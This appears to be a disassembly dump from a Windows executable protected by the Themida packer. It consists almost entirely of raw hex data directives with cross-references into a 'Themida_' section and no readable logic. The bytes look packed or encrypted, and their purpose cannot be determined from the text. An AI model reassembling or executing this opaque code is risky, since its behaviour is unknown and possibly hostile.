dd 5BF9B152h, 6624313Bh, 641BB61Ah, 0E3B33215h, 604DD2CFh
dd 0E3A93560h, 60123DDCh, 80D0952h, 13423BF4h, 17A7B912h
dd 2117310Fh, 8656B72Eh, 6131341Ch, 6983B79Eh, 5D563416h
dd 6F68D090h, 0ED434713h, 65235B90h, 0E32A7513h, 6081D2F3h
dd 0E3CF3560h, 60213E14h, 8C940952h, 138E3BF5h, 0E3F9B105h
dd 6624311Fh, 0E39A3560h, 608B2074h, 88C10952h, 13243BF5h
dd 4F94B912h, 218E3106h, 86B6B72Eh, 7657341Ch, 6C948F96h
dd 13883416h, 0C7C1B912h, 21243135h, 86E7B72Eh, 61FD341Ch
dd 4679B79Eh, 5D653416h, 6FF1C890h, 0ED8F4713h, 65466390h
dd 0E3197513h, 6018D317h, 0DB0B2260h, 60473890h, 0ED254715h
dd 6500BB90h, 0E3B37513h, 604DD2EBh, 0DBA12260h, 60123890h
dd 0ED8F4715h, 6556EB90h, 0E3197513h, 6018D313h, 0E3033560h
dd 6047025Ch, 6CA70952h, 13173BF4h, 330DB912h, 2142313Fh
dd 872CB72Eh, 6164341Ch, 74F5B79Eh, 5D033416h, 6FC32090h
dd 0ED164713h, 658DEB90h, 0E37F7513h, 602BD303h, 0E39A3560h
dd 608B03F0h, 7CC10952h, 13243BF4h, 8F94B912h, 218E3125h
dd 875AB72Eh, 6157341Ch, 7460B79Eh, 5DCF3416h, 6FA51090h
dd 0ED254713h, 6503CB90h, 0E3B37513h, 6047140Ch, 0E3A93560h
dd 60122994h, 400D0952h, 13423BF4h, 97A7B912h, 2117313Eh
dd 87EAB72Eh, 7F31341Ch, 87488F96h, 1311341Ch, 5335B11Ch
dd 6642313Ch, 0E3A93561h, 60122F94h, 0D0952h, 13423BF4h
dd 0C9FB10Ch, 66173BF4h, 0DB0B3B60h, 60471B20h, 0ED254615h
dd 6510E390h, 0E3B37513h, 604DD33Fh, 0E3A93560h, 60123838h
dd 480D0952h, 13423BF4h
dd 7FA7B912h, 21173116h, 87BAB72Eh, 6131341Ch, 40F3B79Eh
dd 5D563416h, 6F690490h, 0ED434713h, 65011B90h, 0E32A7513h
dd 6081D32Fh, 0E3CF3560h, 6021264Ch, 58940952h, 138E3BF4h
dd 0AFC1B912h, 2124311Ah, 0E21ECD1Eh, 66883210h, 99BFD8FCh
dd 37A709EAh, 69173107h, 66883990h, 52C1BF15h, 8F243B83h
dd 99EEC9C6h, 7A55B72Eh, 0E34B3416h, 6622320Dh, 864E8F96h
dd 6989341Ch, 66443990h, 45A7BF15h, 8F116AF3h, 9977C9BAh
dd 86DEB72Eh, 0E22D341Ch, 66113219h, 8616B72Eh, 0E34B341Ch
dd 66223210h, 99EAA0FCh, 66888CEAh, 98C73215h, 23A73D14h
dd 5D113215h, 6F68BC90h, 6DC13D13h, 0EB223215h, 3E73D690h
dd 9DE5DB15h, 0E37FCDEAh, 602BD287h, 661AB71Ah, 0E3053215h
dd 661C514Fh, 99D964FCh, 0F09409EAh, 698E3BF5h, 66443990h
dd 0F9A7BF15h, 8F116A76h, 9977C92Ah, 67FAF29Eh, 6D223215h
dd 63943DE3h, 8F883215h, 99BBC936h, 0D3ABC29Eh, 60123224h
dd 4B41879Ch, 58C43416h, 40A73DFCh, 0ED113215h, 988B336Bh
dd 0A5C5EC9Eh, 66227215h, 66208F2Eh, 0E4873416h, 6644321Dh
dd 0E02DC92Eh, 66113210h, 9972D4FCh, 13F9B9EAh, 0A1243137h
dd 6533E390h, 66883213h, 0D3CD5215h, 60211FDCh, 9DB3AF98h
dd 0B577341Ch, 6666B01Ah, 0FBAF3215h, 6019A393h, 0E587E1EAh
dd 99BBCDCBh, 4BEB879Eh, 0D3983416h, 608B10C4h, 21B5AF98h
dd 0B5DD341Ch, 6620B79Eh, 0E3013416h, 60471FDCh, 6DBFBF74h
dd 99173BEDh
db 0C6h
byte_5AAF8D db 0BFh, 15h, 95h ; DATA XREF: Themida_:005436FDo
dd 99423BEFh, 6AA13DC6h, 0E5113215h, 65A5FB90h, 0B8AD3713h
dd 0EBDDCDEAh, 6FEA2E88h, 695BCD13h, 66443A96h, 62E0B115h
dd 661100FCh, 0E015BF15h, 99423A84h, 6DA13DC6h, 0ED113215h
dd 65A5FBA0h, 61C4DB13h, 0EBA93215h, 60121FDCh, 4B41879Ch
dd 0A86F3416h, 9709EBE2h, 0F0F896E6h, 0EB77CDEAh, 6F0C7B88h
dd 0EDF1CD13h, 139419D2h, 0EF8E3137h, 65629B90h, 13A7B913h
dd 31173137h, 0D805BF45h, 99423B5Dh, 97A7B9C4h, 3617310Ah
dd 130DB942h, 36423137h, 2ECFBF98h, 0B7EE341Ch, 0AE03E29Eh
dd 79B5BF3Eh, 0DBA13416h, 60123664h, 4D0C3D15h, 0ED443215h
dd 652B9F90h, 17941913h, 5D8E3111h, 71C23DD4h, 0ED223215h
dd 6538A790h, 170D3113h, 0EF423111h, 6513BB90h, 6652DB13h
dd 0EDD93215h, 99497AD4h, 2622321Ah, 6FBCB79Ch, 0E3893416h
dd 60471728h, 6253B7D2h, 66113416h, 26E23215h, 6654327Dh
dd 66486315h, 6904A7EAh, 0F3773416h, 604723D0h, 4FB7B79Ch
dd 0E3983416h, 608B039Ch, 0EFF1CD4Ch, 99243124h, 650EC3A0h
dd 0D3776513h, 60471060h, 2B5DB798h, 0B6EE341Ch, 62F9BF14h
dd 0DBCF3416h, 6021039Ch, 79E0879Eh, 0C27B3416h, 472D879Eh
dd 0A18F3416h, 6611CE53h, 0A6493215h, 12C33710h, 0E3213718h
dd 60123334h, 5701BF9Eh, 6ECD3416h, 9A64F5B8h, 66113215h
dd 47E1879Ch, 9EC73416h, 46A73DEAh, 0E7113215h, 0BB55EF2Bh
dd 72C13DC8h, 0A1223215h, 66113213h, 624EB115h, 472D879Ch
dd 80CB3416h, 0A7EECDE3h, 0E38B31D5h, 60473334h, 74378F96h
dd 69103416h, 6688AF91h, 0CC7AB315h, 698898BFh, 66112090h
dd 624EB115h, 66B874D2h, 0F1223215h, 65F8DBA5h, 0F1883215h
dd 0E514DAA5h, 650B07A8h, 0E21E3313h, 6688322Bh, 664532ADh
dd 0C09FB115h, 66173BF5h, 6680B61Ah, 0FBC93215h, 602B62D5h
dd 5991E1EAh, 6E0C3D85h, 0E5443215h, 25CB37D2h, 0E5113215h
dd 0E48762EDh, 6644321Fh, 3E88A2A5h, 6635DBBFh, 0CCD03215h
dd 8FBB4D95h, 663AB71Ah, 0DB923215h, 6081D2B3h, 6EC03D15h
dd 0EB223215h, 6F41A288h, 0EE5BCD13h, 0E3CF3652h, 6021039Ch
dd 8E92F53Eh, 0A1259911h, 6644CE53h, 77CB3215h, 0EFEECDEAh
dd 65A95BA0h, 662C6013h, 0C223295h, 3BA4CD15h, 998E310Fh
dd 656A2B80h, 0EBA96813h, 60121AE8h, 668833D2h, 0A7C73215h
dd 9BAFBB11h, 8F17313Dh, 9977C705h, 664296FCh, 0EBA95215h
dd 60121AE8h, 0EB013B9Eh, 604DD2B7h, 326C0A94h, 0E31E7E51h
dd 66883209h, 623CB373h, 0E32D1C59h, 66113205h, 0A00BC29Eh
dd 23C1B913h, 8F243136h, 66113313h, 0B603C29Eh, 5AE8FB26h
dd 3BA63D15h, 5A113215h, 890C3D38h, 5ABBCDEAh, 5BA63D3Bh
dd 5A113215h, 660A3D25h, 5A443214h, 0B1A43D2Ch, 5AEECDEAh
dd 960A3D54h, 5A443215h, 0A1A43D4Fh, 5AEECDEAh, 0D90C3D4Ah
dd 5ABBCDEAh, 0BEA03D74h, 5A113215h, 0C90E3D6Fh, 8FBBCDEAh
dd 662232DEh, 69C70957h, 6688F091h, 8F057815h, 99DDCD8Fh
dd 0E21EFB90h, 668832A6h, 71F58798h, 0ACA93416h, 48A1C89Eh
dd 9F0D3DBBh, 4DBBCDEAh, 4DFBC5DAh, 95E6B5ECh, 99CFF4B1h
dd 0D7D1BF15h, 0ED243102h, 65315390h, 6948B713h, 66442890h
dd 5FA7F415h, 2117313Ah, 0FC2FE07Dh, 0AFF1CDC1h, 0EB24313Dh
dd 60628E90h, 3458CD13h, 0A6C1E2EAh, 661AB71Ah, 0E39A3215h
dd 608B291Ch, 0E34BF290h, 6622320Fh, 4928B7D3h, 0EC43416h
dd 0BF9E2EFCh, 4EEB87EAh, 0E39C3416h, 608E41A9h, 9916E2EAh
dd 69E2B7C5h, 66113790h, 66A9DB15h, 0E3CD3215h, 602BD2B7h
dd 0E39C6445h, 608E5F91h, 0A64FE2EAh, 6627B71Ah, 62F83215h
dd 0EF883215h, 7581651h, 0EBA952D6h, 6018D2B7h, 6549B945h
dd 0F6CF0E55h, 6622329Dh, 7834A79Ch, 9E8D3416h, 0ED443215h
dd 0F3AB3E45h, 6012227Ch, 42CCB94Dh, 5D851931h, 65325B90h
dd 76933D13h, 5D883215h, 655A1790h, 62A13D13h, 7113215h
dd 78836D7h, 666036D2h, 0A1223215h, 66151651h, 0DE883215h
dd 66443210h, 2B3EBF98h, 87EE3416h, 5A8EB875h, 58C03DFCh
dd 5A223215h, 24953DFDh, 5A883215h, 74C03D1Ah, 5A223215h
dd 59953DD8h, 5A883215h, 2FC03DFEh, 7223215h, 674FB8D6h
dd 0E678D195h, 0E34BB2EEh, 99DDCDFAh, 0A592EC9Eh, 64D63113h
dd 664426FCh, 677CB915h, 69EAC996h, 66881B91h, 659AB915h
dd 0A5A1334Bh, 99D8DB10h, 0D087CDEAh, 8DC7334Bh, 0DAA63D3Bh
dd 8FEECDEAh, 6688321Fh, 98454C95h, 998FB71Ah, 6F8CDEAh
db 0EAh, 0CDh, 77h
byte_5AB47F db 30h ; DATA XREF: Themida_:005436F9o
dd 55136144h, 0BEA89ED5h, 0E6E1D195h, 0E28742EEh, 664432F9h
dd 0E22D3D29h, 66113230h, 0E287DB29h, 66443391h, 0E22DD929h
dd 66113000h, 0E287D129h, 66443264h, 0E22DD029h, 66113056h
dd 38D1694Ah, 14C1F5D6h, 60243BF4h, 0EC113215h, 966BB20Bh
dd 69C4C995h, 99DDD190h, 0E39A7CEAh, 608B3224h, 4495A79Eh
dd 0B8A93416h, 6517F196h, 0BEB3304Bh, 664CB01Ah, 0BC193215h
dd 99AFB41Ah, 0B9A3CDEAh, 42D996h, 0F58954B8h, 62D7B1BEh
dd 0EFAC0E9Ch, 0EF481661h, 650FFBA0h, 3F4A6D13h, 624CB14Bh
dd 99BE52FCh, 14A7F5EAh, 64173BF4h, 0ED883215h, 68F23DCBh
dd 69A2CB95h, 66113A96h, 25513115h, 66443FFCh, 99CBB215h
dd 8790EBE2h, 668832EAh, 0E3CFEB3Eh, 60213224h, 44C0A79Eh
dd 0DB0B3416h, 6047368Ch, 0C5A63D14h, 5D113215h, 0FD0A3DCDh
dd 5D443215h, 27A03DCFh, 8FEECDEAh, 6688329Bh, 8736B7D2h
dd 6620341Ch, 0B89A3215h, 0E686841Ah, 0E54BB2ECh, 6622321Dh
dd 8F52EB16h, 66883218h, 91BBDB95h, 99C3B3CCh, 4D113215h
dd 570DB9CCh, 0ED423115h, 6500E380h, 0FFACB113h, 678E3111h
dd 660CB61Ah, 0BE193215h, 6619B01Ah, 0BCB33215h, 98A2B41Ah
dd 0D66CCDEAh, 689B981Ah, 8708B2A5h, 0CC85381Ah, 8DA1ED3Eh
dd 0E5BAA111h, 0D30130D3h, 60471FDCh, 62BBB7D2h, 66103416h
dd 0A20B3215h, 0E51D6911h, 0A2A136D1h, 9F66DB11h, 0D6C6CDEAh
dd 0A0CF98FCh, 8EA1F53Eh, 0A2929911h, 38D16911h, 8F40F696h
dd 99DDCBD2h, 8763B7D2h, 668D341Ch, 0B8CF3215h, 6526F196h
dd 5794B90Bh, 0ED8E3115h, 6566E380h, 0DBA17C13h, 60121638h
dd 650C3D14h, 5D443214h, 6EA03DCDh, 5D113215h, 4D0E3DCFh
dd 0EF443215h, 650FFBA0h, 148CB913h, 678E3BF4h, 8F481649h
dd 662232CBh, 4B94F54Ah, 678E3131h, 3D443215h, 0A2A16C4Ch
dd 9EE6DB11h, 0DB0BCDEAh, 6047368Ch, 0DDA63D14h, 4D113215h
dd 65880388h, 13C9B913h, 65243137h, 0E5DE19DEh, 8F3837FCh
dd 0E5EFA3BFh, 3F7936D1h, 62D5B14Bh, 99711CFCh, 14C1F5EAh
dd 64243BF4h, 0ED113215h, 683E3DCBh, 69C4CB95h, 66223A96h
dd 25C83115h, 66883FFCh, 99ADB215h, 87A3EBE2h, 661132EAh
dd 0E303EB3Eh, 60473224h, 44F3A79Eh, 20F83416h, 0A177CDEAh
dd 6FA54090h, 66223013h, 69CFB915h, 9F083CA3h, 6EC73D95h
dd 65223215h, 6BF871CCh, 0E6883215h, 0BFB3CDFCh, 66DDD394h
dd 0BF3A3215h, 66B9B79Eh, 0F3CF3416h, 602110C4h, 62888F96h
dd 69893416h, 99BAFB91h, 69FA09EAh, 66113A97h, 69520915h
dd 99B95593h, 0A8A97CEAh, 8F92FD3Eh, 0CC618210h, 0EEAD9984h
dd 0ECDDCDEDh, 69F90E13h, 66883491h, 7EADCA15h, 35223215h
dd 3812EC9Eh, 634BB114h, 4DEEDAA5h, 62C9B1CAh, 0E54A9986h
dd 0A57137D3h, 60CF5444h, 0E22DF129h, 66113255h, 0E287F929h
dd 6644322Dh, 0E22DF029h, 6611322Dh, 0E287F829h, 66443225h
dd 43DD0F73h, 6621B61Ah, 5BEE3215h, 0E34BCD3Bh, 66223218h
dd 4213749Fh, 69280EE5h, 66441191h, 8FDA6B15h, 6611322Ch
dd 8FC9FB26h, 6644320Ch, 662231ACh, 661EDB15h, 60313215h
dd 8F443215h, 66223210h, 661135ACh, 0ED2CC115h, 6566E398h
dd 69EBB713h, 66113490h, 0B73DBB15h, 3F423137h, 0ED44F1ECh
dd 69D20E13h, 66885791h, 0E69CB815h, 9DA2C2F6h, 0FA953D65h
dd 5A883215h, 29C03DFCh, 5A223215h, 21953DFEh, 5A883215h
dd 59C03DD7h, 5A223215h, 51953DDEh, 883215h, 6961CD28h
dd 66221F91h, 69DB0E15h, 66881791h, 69A70E15h, 66225091h
dd 482C5415h, 6B0D3DEAh, 0EC443215h, 96063053h, 0E21E9229h
dd 66883213h, 664BDBEDh, 0D3AB3215h, 601210C4h, 2179AF98h
dd 0B5BB341Ch, 0ED72F1ECh, 0E3982253h, 608B3484h, 7A82B14Dh
dd 4A0F8F98h, 65BC3416h, 0CDAC1651h, 4D558F98h, 658F3416h
dd 36351651h, 0C735BFBEh, 0CB423136h, 4E067616h, 30D26CBEh
dd 2142AF98h, 0B5BB341Ch, 0FFFF95FCh, 4ECEDFFFh, 4AA86CD2h
dd 0A2458AFDh, 0C0D5F251h, 0A44C3878h, 2AA8ED96h, 29458A15h
dd 57DFA024h, 91792619h, 2A1E2C5Eh, 89798A15h, 2A162C5Eh
dd 0CA798A15h, 2A492C5Eh, 13798A15h, 2A382C5Eh, 0F2798A15h
dd 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h, 0D554A851h
dd 0D7BA8660h, 88CE2559h, 0F14383B8h, 842D32DCh, 71BA8C1Ch
dd 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh, 38C88260h, 2C5D05E3h
dd 0DBDF0746h, 0D552A1FFh, 5E0003C6h, 835492B8h, 0A4F305E9h
dd 31E4CB8Bh, 5DB1DABAh, 2FEB3256h, 5EE114BCh, 113C5250h
dd 0D3B8766Ah, 63B977DDh, 79F4B951h, 31B575DFh, 1A382213h
dd 0BAF4B95Ah, 36A175DFh, 0ABA1F09Fh, 0EC34F436h, 0E9833179h
dd 0B0A4F305h, 0F29D11F1h, 2375FD7Ah, 147D17FBh, 0D525FB73h
dd 0ADFDF53Fh, 917C5B89h, 0CFB73422h, 0B723AC7Ah, 1A20AD29h
dd 7975FD7Ah, 95987C27h, 0A073F4D2h, 26D387FFh, 83C87D7Ch
dd 0A4F305E9h, 0BD8DDB8Bh, 609E17Eh, 0FC658D8Dh, 44B80609h
dd 2B321566h, 2E9C1CFh, 0C8D00731h, 4904C783h, 0FFF2850Fh
dd 0C08BFFFFh, 1039BD83h, 75000603h, 1DBD8309h, 60311h
dd 53501974h, 11B8C08Bh, 89000004h, 3239185h, 0F89D8D06h
dd 0FF0605B0h, 83585BD3h, 3111DBDh, 17740006h, 11B85350h
dd 89000004h, 3239185h, 999D8D06h, 0FF0605ADh, 8B585BD3h
dd 0A4F2BBC0h, 8D8D4672h, 609FEDAh, 26958589h, 0B70F0603h
dd 0D18D89DBh, 6A060331h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 967C352h, 0DE9CA12h
dd 43000000h, 36981158h, 4D9940E5h, 69DDEA9Fh, 1E185C7h
dd 6C240603h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 7C01EAC3h, 29D36EE5h, 0BB01A1DBh
dd 5ECB502Ah, 21BD85C7h, 603h, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0B5F23C3h
dd 562C8B1Fh, 8166C49Dh, 0FFB964C2h, 323C5B5h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 8B819424h, 3206595h, 9195FF06h, 60060326h, 0E901CDBBh
dd 6A61FC03h, 0B995FF00h, 8B06031Fh, 1F39EBC0h, 0AB09475h
dd 2B84343Eh, 48616B3Eh, 992FDF89h, 5F65F6C2h, 2286CCDDh
dd 0FF28EC2Bh, 9E8770B8h, 16E28D32h, 5167D5Ch, 6F3F3B1Ah
dd 0E8AF35Eh, 13852E07h, 6D3FC9C0h, 8EBh, 0A5900000h, 0B9E96951h
dd 68000004h, 60A0048h, 0F97E34E9h, 0AA68FFh, 2AE9060Ah
dd 68FFF97Eh, 60A0224h, 0F97E20E9h, 6B8C6FFFh, 0FE039065h
dd 487107EAh, 0D8DDB104h, 0AB5021B4h, 0DA904F25h, 75D88C35h
dd 0F94C00A5h, 6FF2961Bh, 50616788h, 0F159F256h, 15A77104h
dd 0BC452A56h, 9AE412Ch, 43612C5Bh, 63AA6D27h, 5A5B32FBh
dd 0AC025732h, 930C1C94h, 0E9770E89h, 31199762h, 7511A163h
dd 0BA420AD1h, 710BA11Dh, 4C8C4FEBh, 4CD0B5C8h, 95B9FD7Bh
dd 6A247983h, 30E7693h, 93440000h, 9D726EE1h, 0F3194314h
dd 4AD1D6BAh, 6C0175EEh, 0E2536489h, 2E4CC3D5h, 0C4B811EFh
dd 5BD3B46h, 11F06F25h, 0DD6D2D75h, 710BBA44h, 0DCBE2DB8h
dd 45D0B5D7h, 9C881E2Eh, 6510A468h, 0A91F2B47h, 0A779ABADh
dd 1EA57630h, 4E98B38h, 0D0462682h
dd 30585D3Dh, 2550DF55h, 275FEB87h, 9977AC21h, 3ED1B4F2h
dd 785E01B9h, 250B592Dh, 4F392276h, 45D0D89Bh, 481D9BEFh
dd 1D4800A5h, 8A2BC2A7h, 0B99D89EBh, 5BB6561Dh, 2DDh, 7A6E8F62h
dd 0EFFD0697h, 194F741Ah, 89DFE0B4h, 3AAE5324h, 38D98D48h
dd 0A848DDB3h, 1EFC4107h, 8B62F795h, 5B5F666Ah, 4F056CFh
dd 591AAA71h, 6AE34701h, 0D6770EF0h, 6F1AA503h, 5E113971h
dd 0DA750859h, 0FD92730Fh, 6C0D90F4h, 0EDFD0547h, 6FA5CC5Ah
dd 1A4C6788h, 0BF1F2959h, 27B322Fh, 0F1800000h, 683598CCh
dd 0D6B80D43h, 422ABF2Dh, 0B55A2FBDh, 2BEA580Ch, 73119A7Fh
dd 0E7E50AEEh, 157B8012h, 84C8ED80h, 0F46DBDFDh, 487104F0h
dd 85F03BB8h, 6AF1FA9Fh, 0D0D5B94Ch, 19572DB8h, 8597E31h
dd 7D6FFA75h, 0B02901BBh, 0C7104F1h, 4ECBE359h, 0DA7104F1h
dd 1E263266h, 8593634Fh, 11EF10E0h, 1B70Bh, 432AB400h
dd 0FE4A04A2h, 770EF065h, 0D8B00CDBh, 0B84A45Eh, 3D770EF1h
dd 5336565Bh, 767B1D70h, 8E47316h, 8959265h, 11FCE9E3h
dd 0AB493473h, 653B0Fh, 0A1447512h, 0DDA028CDh, 0B3D6B63Bh
dd 0E2694824h, 0E0C542EAh, 987F710Bh, 7E87517h, 0D4E8EAE2h
dd 8567FC80h, 12BD4780h, 1C40FC87h, 69A80004h, 2CFF93h
dd 0F0780000h, 914B6785h, 0F49419FCh, 81331B91h, 0FF7511FFh
dd 0D7B66068h, 0EC3CB841h, 710BDF6Fh, 455387BDh, 936A413Fh
dd 0D538h, 432ABB00h, 0B2472AA2h, 93B77109h, 770EF0FAh
dd 75159346h, 0A82109C3h, 58770EF0h, 305537B8h, 0DADBB211h
dd 548D7B2h, 9CF14F74h, 994F4F9h, 95034166h, 0F0D64FDBh
dd 472A770Eh, 54008B1h, 1BEAC2BEh, 59770EF5h, 872CC9B6h
dd 701B5438h, 5143472h, 3B750C88h, 9E7312ACh, 0CC7EEDDFh
dd 0CE55FF16h, 9362379Ah, 9765D5FEh, 4A6F7A12h, 1BE62047h
dd 0DA820458h, 0DC31D9E0h, 101h, 64A6B0Eh, 8BD9E2B3h, 25AB5026h
dd 553BBC50h, 0C68A2FC0h, 14E5B16Ch, 8414F9EFh, 0FA986D63h
dd 670E93F1h, 37730246h, 4EE7A13h, 0B536C671h, 618A6C01h
dd 8A6F6267h, 86626761h, 0E7E50EE3h, 3BB07B12h, 0CE835C19h
dd 930D432Eh, 3FD871D9h, 0B124770Eh, 6C01B83Bh, 6267618Ah
dd 0EB0CE386h, 74791CE1h, 8E2C5710h, 0ABA758F0h, 0B6257511h
dd 878415F8h, 0C99CCCF5h, 0EFB06E62h, 79601901h, 0D4F47037h
dd 710BC437h, 0C38126C9h, 7810997Eh, 6B4A2FBEh, 877CDF35h
dd 0D5F2A8Dh, 5EF9DC58h, 4000000h, 4B6785F0h, 56D2D3BAh
dd 59813018h, 0F5987508h, 0D248025h, 0CCA30E5Eh, 3DD0A52Bh
dd 4A08D0B8h, 40163091h, 0FE6B8ECh, 8017FAEEh, 0EC806D7Fh
dd 0DADA81CBh, 9419FCB6h, 0B68A6DF0h, 33E1E5h, 0E820E089h
dd 0DBC166Fh, 0D9B31ECDh, 29F0BC5Fh, 0AFB40C91h, 3CCD1h
dd 3770000h, 0A6472A80h, 33B45B26h, 9D26F459h, 6D9266CBh
dd 0F801967Bh, 476C0D90h, 0D3D4B805h, 0B942D4B9h, 8B1422Fh
dd 0B0680B40h, 89000007h, 89512414h, 4C181E1h, 81000000h
dd 4E9h, 240C8700h, 2404895Ch, 2B4C68h, 241C8900h, 8904EC83h
dd 0C7BB241Ch, 81533F28h, 5A4A3EC3h, 0E3C14B04h, 8E3C105h
dd 8103E3C1h, 0FA00BBEBh, 5BD8896Ch, 7FAD68h, 24248900h
dd 4240483h, 4CE2685Bh, 4890000h, 24348124h, 5EA7600Ch
dd 8108438Fh, 600C0873h, 34FF5EA7h, 0C4835B24h, 24048B04h
dd 81E38953h, 4C3h, 4C38300h, 5C241C87h, 0F9798CE9h, 0CE076EFFh
dd 2CF32840h, 0A034AB8h, 0FFC50306h, 0BDA0ECE0h, 0E5532E55h
dd 9B5F5C51h, 4C18D50Eh, 0BCB0281Ah, 947FCE24h, 0B2608319h
dd 0B56C8E4Ah, 106F4C24h, 0C62FF7Dh, 2E2AFC40h, 0DB973A5Bh
dd 0DB57F00Eh, 3E525B57h, 93C3A942h, 7858CC68h, 60AFB234h
dd 985E516Fh, 4F57DB1Dh, 0D5E30962h, 0D9BA0E3Fh, 0B767C43Ch
dd 23090C53h, 96578A47h, 8C16813Ah, 0CE322E35h, 0EDE90Ch
dd 66600000h, 4A8D88Ch, 0DF840Fh, 0B58B0000h, 60303C1h
dd 0F00FE83h, 2285h, 3985C600h, 4506032Fh, 72696968h, 59B5FF8Eh
dd 8D060313h, 673BC85h, 89D0FF06h, 320F185h, 80F08B06h
dd 850FE93Eh, 31h, 6E5F858Dh, 0D0FF0608h, 2F05BD8Bh, 0C7810603h
dd 1184h, 3C1B58Bh, 0F7870603h, 8B9h, 8BA4F300h, 303C1B5h
dd 51858D06h, 0FF06071Bh, 19B58BD0h, 8306031Fh, 850F00FEh
dd 22h, 2F3985C6h, 68540603h, 0FF4EBEF4h, 1359B5FFh, 858D0603h
dd 60673BCh, 8589D0FFh, 6031F19h, 3E80F08Bh, 3A850FE9h
dd 8B000000h, 31F19B5h, 5F858D06h, 0FF06086Eh, 5BD8BD0h
dd 8106032Fh, 1184C7h, 8C78300h, 1F19B58Bh, 0F7870603h
dd 8B9h, 8BA4F300h, 31F19B5h, 51858D06h, 0FF06071Bh, 8DC361D0h
dd 0A045685h, 0B9858906h, 0E806031Bh, 0Ch, 8D055BBCh, 0A752DCEBh
dd 256D5BE4h, 3732BE66h, 0B257605Ah, 0DF8159C7h, 3B882E0Ch
dd 0EEC28161h, 68000070h, 0
dd 815FC38Bh, 0C78401CEh, 1734FF33h, 8159DA8Bh, 8CB943C1h
dd 9AD38062h, 3F1DF181h, 800F49B0h, 5, 0A4C38166h, 1EF18176h
dd 0E85FD16Eh, 14h, 5B9EEE38h, 70D7694Fh, 67534BCCh, 18CA6C37h
dd 960C7097h, 6860Fh, 8E0F0000h, 0
dd 3A0C895Eh, 81666060h, 0FB19EF0h, 81h, 14E96100h, 38000000h
dd 34AA450Eh, 2001E6D0h, 0EF1DDA29h, 0B4B3B77Dh, 61CB6A0Ah
dd 0DE8h, 3EF09700h, 0C354A742h, 12903125h, 9E8EBEBh, 0F4000000h
dd 9D6859FCh, 0FE88F876h, 5BF7B70Fh, 4EF835Eh, 8110E780h
dd 0FF9004FFh, 52850FFFh, 0E8FFFFFFh, 11h, 0B25229E8h
dd 1E7C84A7h, 35411ACBh, 7D32AEBDh, 4EB5B9Ch, 16051C90h
dd 57EE9h, 1B9C7F00h, 0EE13E075h, 788117FAh, 0C8ED8114h
dd 5B603184h, 2A80BF35h, 4528BC45h, 0C95C30B5h, 7FC2862Bh
dd 20711798h, 0EA49C266h, 5B77104h, 71432A66h, 0D6F6FB9Ch
dd 770EF03Dh, 1F49D483h, 0D24BDF99h, 49770EF0h, 0EF068E1h
dd 0E01D477h, 0C76B065Bh, 92BF47F8h, 0ED9E7316h, 0E1E4E409h
dd 0CE3761Ah, 791CE1EBh, 0EC891474h, 1CF1ABC7h, 70157778h
dd 0E4CBF58h, 1CA17177h, 5306194Ch, 300CB5D5h, 22C3AAECh
dd 0B039DBAEh, 6AB49DCh, 9617FB46h, 63B78DF6h, 0B658492Bh
dd 5F22A60Dh, 0C17B37B8h, 0E4CF069h, 23994C77h, 5B38CD4Bh
dd 0A626C7AEh, 51345423h, 4C55F3DBh, 61D7770Eh, 0AE213B3Dh
dd 62DE996Ch, 59000000h, 2AA2432Ah, 0F2F7996Ch, 0F0BB5676h
dd 0B971770Eh, 0D16E50E6h, 837963DEh, 778D6BBFh, 70996CB9h
dd 1, 58492A83h, 0D27630B5h, 770EF039h, 345D087h, 0B4D4DDBEh
dd 28A04529h, 0C79FC361h, 4ADF8D36h, 0AA6402A3h, 0EF1059Eh
dd 0EB3F7B77h, 770EF072h, 0EB8C1BCEh, 66773D0Eh, 93F74D13h
dd 0BC452AE0h, 69926302h, 0A83DFB93h, 20A527C8h, 4A26CBADh
dd 3BAD5627h, 2E60B468h, 722CA049h, 0C91CD8A1h, 9E73244h
dd 4949164h, 11FCE9E3h, 4E2CC177h, 0AB5026A5h, 0A5C8A421h
dd 0D6902ED3h, 0E03D972h, 34B02777h, 7825C954h, 0C4841394h
dd 76169B79h, 0AA143804h, 92F1251Bh, 0F4941DF3h, 24281B91h
dd 0C3996C5Fh, 6Ch, 0BC452A7Ch, 0F2AF412Ch, 94F19B20h
dd 5AD65F09h, 169B7C36h, 2B0AEF72h, 774CFB25h, 0BD2FBA3Fh
dd 7C856AFBh, 0E941796Ch, 770E3470h, 0CEA319CCh, 46C78126h
dd 862BCDA0h, 0D6C2162Ah, 996C8FDEh, 4899h, 452A1A00h
dd 9B6A2CBCh, 0F396F6F7h, 0AA821075h, 46543BE9h, 9B8D2A6Ah
dd 770EDC02h, 4C1CEB7Eh, 521438F4h, 235034BDh, 6A0492Ah
dd 976D9667h, 0CFAC41F7h, 0E07E4E2Ah, 2A770EF0h, 0AEB6A2F6h
dd 0A9996D51h, 1, 0BF442ACAh, 8AD402Dh, 0A9631B40h, 0EF10881h
dd 0BE17477h, 0C5ABE337h, 2DEEA83Ch, 0E98EC6FDh, 0AC94BFC0h
dd 8BF6413Fh, 0CBF5556Dh, 31751169h, 5335BA52h, 5C21AB36h
dd 0C07A34B9h, 0B69EF68h, 229E4D71h, 9314FB4Eh, 69B651F9h
dd 0A75B710Bh, 9B7D1073h, 20F79A16h, 7C6C9567h, 69F56EBAh
dd 9C4B710Bh, 5326AA31h, 0E7513BBCh, 0A122EF34h, 0B141089h
dd 0D8F96C71h, 0D6A7C814h, 432EBB2Dh, 0C8ED80E5h, 9A6B0380h
dd 0F297F1F6h, 441E4276h, 93720CB1h, 870028FCh, 0F5710B2Dh
dd 491D9B66h, 0E1F90CCFh, 0F9EECE7Ah, 2C2C3003h, 512B936Ah
dd 54000001h, 0F99F85F0h, 934D65F0h, 1E9A1BF2h, 1209100Eh
dd 91FB6E75h, 44DD6D27h, 0B8710BC8h, 0C8B12AFEh, 580F710Bh
dd 7B1277CDh, 0EC83167Ah, 593C81CBh, 0AD973454h, 0A94E2179h
dd 5AF35711h, 0C1710BC8h, 0BC8F069h, 86994C71h, 0F23155D3h
